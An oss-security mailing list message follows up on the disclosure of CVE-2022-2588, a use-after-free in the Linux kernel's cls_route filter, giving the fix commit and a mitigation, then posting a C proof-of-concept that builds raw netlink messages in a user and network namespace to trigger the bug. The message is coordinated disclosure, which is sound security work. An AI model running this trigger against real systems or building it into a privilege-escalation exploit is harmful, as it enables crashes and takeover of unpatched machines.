[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    Re: [oss-security] CVE-2022-2588 - Linux kernel cls_route UAF
From:       Thadeu Lima de Souza Cascardo <cascardo () canonical ! com>
Date:       2022-08-17 20:27:57
Message-ID: Yv1PTZIJ4qtA2ndU () quatroqueijos
[Download RAW message or body]

On Tue, Aug 09, 2022 at 02:11:54PM -0300, Thadeu Lima de Souza Cascardo wrote:
> CVE-2022-2588 - Linux kernel cls_route UAF
> 
> It was discovered that the cls_route filter implementation in the Linux kernel
> would not remove an old filter from the hashtable before freeing it if its
> handle had the value 0.
> 
> Zhenpeng Lin working with Trend Micro's Zero Day Initiative discovered that
> this vulnerability could be exploited for Local Privilege Escalation. This has
> been reported as ZDI-CAN-17440, and assigned CVE-2022-2588.
> 
> This bug has been present since the first Linux commit git, v2.6.12-rc2.
> 
> Exploiting it requires CAP_NET_ADMIN in any user or network namespace.
> 
> It can be mitigated by those users who do not rely on cls_route, by adding
> 'install cls_route /bin/true' to their modprobe.conf or modprobe.d configs,
> in case it's built as a module.
> 
> A PoC that will trigger a WARNING is going to be posted in a week.
> 
> Fixes have been sent to netdev@vger.kernel.org and are at
> https://lore.kernel.org/netdev/20220809170518.164662-1-cascardo@canonical.com/T/#u.

This has been merged as commit 9ad36309e2719a884f946678e0296be10f0bb4c1.

And here is the PoC.


#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>


static char newlink[] = {
	/* len */
	56, 0x00, 0x00, 0x00,
	/* type = NEWLINK */
	16, 0x00,
	/* flags = NLM_F_REQUEST | NLM_F_CREATE */
	0x01, 0x04,
	/* seq */
	0x01, 0x00, 0x00, 0x00,
	/* pid */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_family */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_ifindex */
	0x30, 0x00, 0x00, 0x00,
	/* ifi_flags */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_change */
	0x00, 0x00, 0x00, 0x00,
	/* nla_len, nla_type */
	0x08, 0x00, 0x03, 0x00,
	/* string */
	'e', 't', '2', 0,
	/* nla_len, nla_type */
	16, 0x00, 18, 0x00,
	/* nested nla_len, nla_type */
	10, 0x00, 0x01, 0x00,
	'd', 'u', 'm', 'm',
	'y', 0x00, 0x00, 0x00,
};

static char dellink[] = {
	/* len */
	40, 0x00, 0x00, 0x00,
	/* type = DELLINK */
	17, 0x00,
	/* flags = NLM_F_REQUEST | NLM_F_CREATE */
	0x01, 0x04,
	/* seq */
	0x01, 0x00, 0x00, 0x00,
	/* pid */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_family */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_ifindex */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_flags */
	0x00, 0x00, 0x00, 0x00,
	/* ifi_change */
	0x00, 0x00, 0x00, 0x00,
	/* nla_len, nla_type */
	0x08, 0x00, 0x03, 0x00,
	/* string */
	'e', 't', '2', 0,
};

static char tfilter[] = {
	/* len */
	68, 0x00, 0x00, 0x00,
	/* type = NEWTFILTER */
	44, 0x00,
	/* flags = NLM_F_REQUEST | NLM_F_CREATE */
	0x41, 0x04,
	/* seq */
	0x01, 0x00, 0x00, 0x00,
	/* pid */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_family */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_ifindex */
	0x30, 0x00, 0x00, 0x00,
	/* tcm_handle */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_parent */
	0x00, 0x00, 0x01, 0x00,
	/* tcm_info = protocol/prio */
	0x01, 0x00, 0x01, 0x00,
	/* nla_len, nla_type */
	0x0a, 0x00, 0x01, 0x00,
	/* string */
	'r', 'o', 'u', 't',
	'e', 0, 0, 0,
	/* OPTIONS */
	0x14, 0x00, 0x02, 0x00,
	/* ROUTE4_TO */
	0x08, 0x00, 0x02, 0x00,
	0x00, 0x00, 0x00, 0x00,
	/* ROUTE4_FROM */
	0x08, 0x00, 0x03, 0x00,
	0x00, 0x00, 0x00, 0x00,
};

static char ntfilter[] = {
	/* len */
	56, 0x00, 0x00, 0x00,
	/* type = NEWTFILTER */
	44, 0x00,
	/* flags = NLM_F_REQUEST | NLM_F_CREATE */
	/* 0x200 = NLM_F_EXCL */
	0x41, 0x04,
	/* seq */
	0x01, 0x00, 0x00, 0x00,
	/* pid */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_family */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_ifindex */
	0x30, 0x00, 0x00, 0x00,
	/* tcm_handle */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_parent */
	0x00, 0x00, 0x01, 0x00,
	/* tcm_info = protocol/prio */
	0x01, 0x00, 0x01, 0x00,
	/* OPTIONS */
	0x14, 0x00, 0x02, 0x00,
	/* ROUTE4_TO */
	0x08, 0x00, 0x02, 0x00,
	0x01, 0x00, 0x00, 0x00,
	/* ROUTE4_FROM */
	0x08, 0x00, 0x03, 0x00,
	0x00, 0x00, 0x00, 0x00,
};


static char linkcmd[] = {
	/* len */
	44, 0x00, 0x00, 0x00,
	/* type = NEWQDISC */
	36, 0x00,
	/* flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE */
	0x01, 0x05,
	/* seq */
	0x01, 0x00, 0x00, 0x00,
	/* pid */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_family */
	0x00, 0x00, 0x00, 0x00,
	/* tcm_ifindex */
	0x30, 0x00, 0x00, 0x00,
	/* tcm_handle */
	0x00, 0x00, 0x01, 0x00,
	/* tcm_parent */
	0xff, 0xff, 0xff, 0xff,
	/* tcm_info = protocol/prio */
	0x00, 0x00, 0x00, 0x00,
	/* nla_len, nla_type */
	0x04, 0x00, 0x01, 0x00,
	/* string */
};

int build_qfq(char *buf)
{
	char *qopt;
	short *tlen;
	char *qdisc = "qfq";

	short *optlen;
	short *opttype;

	tlen = buf;

	memset(buf, 0, sizeof(buf));
	memcpy(buf, linkcmd, sizeof(linkcmd));
	strcpy(buf+sizeof(linkcmd), qdisc);
	*tlen = sizeof(linkcmd) + strlen(qdisc) + 1;
	buf[36] = strlen(qdisc)+5;

	qopt = buf + *tlen;
	/* nla_len, nla_type */
	/* 24, 0x00, 0x02, 0x00, */
	optlen = qopt;
	opttype = optlen + 1;
	*opttype = 0x2;

	*optlen = 4;

	*tlen += *optlen;

	return *tlen;
}

int main(int argc, char **argv)
{
	int s;
	pid_t p;
	int *error;
	char buf[4096];
	int tlen;
	error = (int *) (buf + 16);

	unsigned long count = 1;
	int i;

	unshare(CLONE_NEWUSER|CLONE_NEWNET);
	tlen = build_qfq(buf);

	s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
	write(s, newlink, sizeof(newlink));
	read(s, buf, sizeof(buf));
	printf("%d\n", *error);

	write(s, buf, tlen);
	read(s, buf, sizeof(buf));
	printf("%d\n", *error);

	write(s, tfilter, sizeof(tfilter));
	read(s, buf, sizeof(buf));
	printf("%d\n", *error);

	write(s, ntfilter, sizeof(ntfilter));
	read(s, buf, sizeof(buf));
	printf("%d\n", *error);

	write(s, dellink, sizeof(dellink));
	read(s, buf, sizeof(buf));
	printf("%d\n", *error);


	return 0;
}
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic